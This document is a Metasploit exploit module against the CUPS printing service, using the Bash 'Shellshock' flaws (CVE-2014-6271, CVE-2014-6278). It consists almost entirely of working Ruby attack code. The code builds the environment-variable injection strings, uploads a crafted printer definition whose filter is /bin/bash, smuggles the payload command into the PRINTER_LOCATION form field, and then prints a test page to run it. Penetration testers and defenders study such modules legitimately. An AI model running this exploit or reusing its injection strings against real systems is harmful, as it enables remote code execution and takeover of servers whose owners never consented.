CUPS Filter - Bash Environment Variable Code Injection (Metasploit)


Platform:

Linux

Published:

2014-10-29

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = GoodRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'CUPS Filter Bash Environment Variable Code Injection',
      'Description' => %q{
        This module exploits a post-auth code injection in specially crafted
        environment variables in Bash, specifically targeting CUPS filters
        through the PRINTER_INFO and PRINTER_LOCATION variables by default.
      },
      'Author' => [
        'Stephane Chazelas', # Vulnerability discovery
        'lcamtuf', # CVE-2014-6278
        'Brendan Coles <bcoles[at]gmail.com>' # msf
      ],
      'References' => [
        ['CVE', '2014-6271'],
        ['CVE', '2014-6278'],
        ['EDB', '34765'],
        ['URL', 'https://access.redhat.com/articles/1200223'],
        ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
      ],
      'Privileged' => false,
      'Arch' => ARCH_CMD,
      'Platform' => 'unix',
      'Payload' =>
        {
          'Space' => 1024,
          'BadChars' => "\x00\x0A\x0D",
          'DisableNops' => true
        },
      'Compat' =>
        {
          'PayloadType' => 'cmd',
          'RequiredCmd' => 'generic bash awk ruby'
        },
      # Tested:
      # - CUPS version 1.4.3 on Ubuntu 10.04 (x86)
      # - CUPS version 1.5.3 on Debian 7 (x64)
      # - CUPS version 1.6.2 on Fedora 19 (x64)
      # - CUPS version 1.7.2 on Ubuntu 14.04 (x64)
      'Targets' =>  [[ 'Automatic Targeting', { 'auto' => true } ]],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Sep 24 2014',
      'License' => MSF_LICENSE
    ))
    register_options([
      Opt::RPORT(631),
      OptBool.new('SSL', [ true, 'Use SSL', true ]),
      OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
      OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
      OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),
      OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
    ], self.class)
  end

  #
  # CVE-2014-6271
  #
  def cve_2014_6271(cmd)
    %{() { :;}; $(#{cmd}) & }
  end

  #
  # CVE-2014-6278
  #
  def cve_2014_6278(cmd)
    %{() { _; } >_[$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }}
  end

  #
  # Check credentials
  #
  def check
    @cookie = rand_text_alphanumeric(16)
    printer_name = rand_text_alphanumeric(10 + rand(5))
    res = add_printer(printer_name, '')
    if !res
      vprint_error("#{peer} - No response from host")
      return Exploit::CheckCode::Unknown
    elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/
      vprint_status("#{peer} - Found CUPS version #{$1}")
    else
      print_status("#{peer} - Target is not a CUPS web server")
      return Exploit::CheckCode::Safe
    end
    if res.body =~ /Set Default Options for #{printer_name}/
      vprint_good("#{peer} - Added printer successfully")
      delete_printer(printer_name)
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
      vprint_error("#{peer} - Authentication failed")
    elsif res.code == 426
      vprint_error("#{peer} - SSL required - set SSL true")
    end
    Exploit::CheckCode::Detected
  end

  #
  # Exploit
  #
  def exploit
    @cookie = rand_text_alphanumeric(16)
    printer_name = rand_text_alphanumeric(10 + rand(5))

    # Select target CVE
    case datastore['CVE']
    when 'CVE-2014-6278'
      cmd = cve_2014_6278(payload.raw)
    else
      cmd = cve_2014_6271(payload.raw)
    end

    # Add a printer containing the payload
    # with a CUPS filter pointing to /bin/bash
    res = add_printer(printer_name, cmd)
    if !res
      fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
    elsif res.body =~ /Set Default Options for #{printer_name}/
      print_good("#{peer} - Added printer successfully")
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
      fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.")
    elsif res.code == 426
      fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not add printer.")
    end

    # Add a test page to the print queue.
    # The print job triggers execution of the bash filter
    # which executes the payload in the environment variables.
    res = print_test_page(printer_name)
    if !res
      fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.")
    elsif res.body =~ /Test page sent; job ID is/
      vprint_good("#{peer} - Added test page to printer queue")
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
      fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.")
    elsif res.code == 426
      fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.")
    end

    # Delete the printer
    res = delete_printer(printer_name)
    if !res
      fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.")
    elsif res.body =~ /has been deleted successfully/
      print_status("#{peer} - Deleted printer '#{printer_name}' successfully")
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
      vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.")
    elsif res.code == 426
      vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.")
    else
      vprint_warning("#{peer} - Could not delete printer '#{printer_name}'")
    end
  end

  #
  # Add a printer to CUPS
  #
  def add_printer(printer_name, cmd)
    vprint_status("#{peer} - Adding new printer '#{printer_name}'")

    ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"
    ppd_file = <<-EOF
*PPD-Adobe: "4.3"
*%==== General Information Keywords ========================
*FormatVersion: "4.3"
*FileVersion: "1.00"
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PCFileName: "#{ppd_name}"
*Manufacturer: "Brother"
*Product: "(Brother MFC-3820CN)"
*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
*cupsVersion: 1.1
*cupsManualCopies: False
*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"
*cupsModelNumber: #{rand(10) + 1}
*ModelName: "Brother MFC-3820CN"
*ShortNickName: "Brother MFC-3820CN"
*NickName: "Brother MFC-3820CN CUPS v1.1"
*%
*%==== Basic Device Capabilities =============
*LanguageLevel: "3"
*ColorDevice: True
*DefaultColorSpace: RGB
*FileSystem: False
*Throughput: "12"
*LandscapeOrientation: Plus90
*VariablePaperSize: False
*TTRasterizer: Type42
*FreeVM: "1700000"

*DefaultOutputOrder: Reverse
*%==== Media Selection ======================

*OpenUI *PageSize/Media Size: PickOne
*OrderDependency: 18 AnySetup *PageSize
*DefaultPageSize: BrLetter
*PageSize BrA4/A4:        "<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
*PageSize BrLetter/Letter:      "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
EOF

    pd = Rex::MIME::Message.new
    pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}"))
    pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid"))
    pd.add_part("add-printer", nil, nil, %(form-data; name="OP"))
    pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME"))
    pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable
    pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable
    pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI"))

    data = pd.to_s
    data.strip!

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'ctype' => "multipart/form-data; boundary=#{pd.bound}",
      'data' => data,
      'cookie' => "org.cups.sid=#{@cookie};",
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
    )
  end

  #
  # Queue a printer test page
  #
  def print_test_page(printer_name)
    vprint_status("#{peer} - Adding test page to printer queue")
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'printers', printer_name),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'cookie' => "org.cups.sid=#{@cookie}",
      'vars_post' => {
        'org.cups.sid' => @cookie,
        'OP' => 'print-test-page'
      }
    )
  end

  #
  # Delete a printer
  #
  def delete_printer(printer_name)
    vprint_status("#{peer} - Deleting printer '#{printer_name}'")
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'cookie' => "org.cups.sid=#{@cookie}",
      'vars_post' => {
        'org.cups.sid' => @cookie,
        'OP' => 'delete-printer',
        'printer_name' => printer_name,
        'confirm' => 'Delete Printer'
      }
    )
  end

end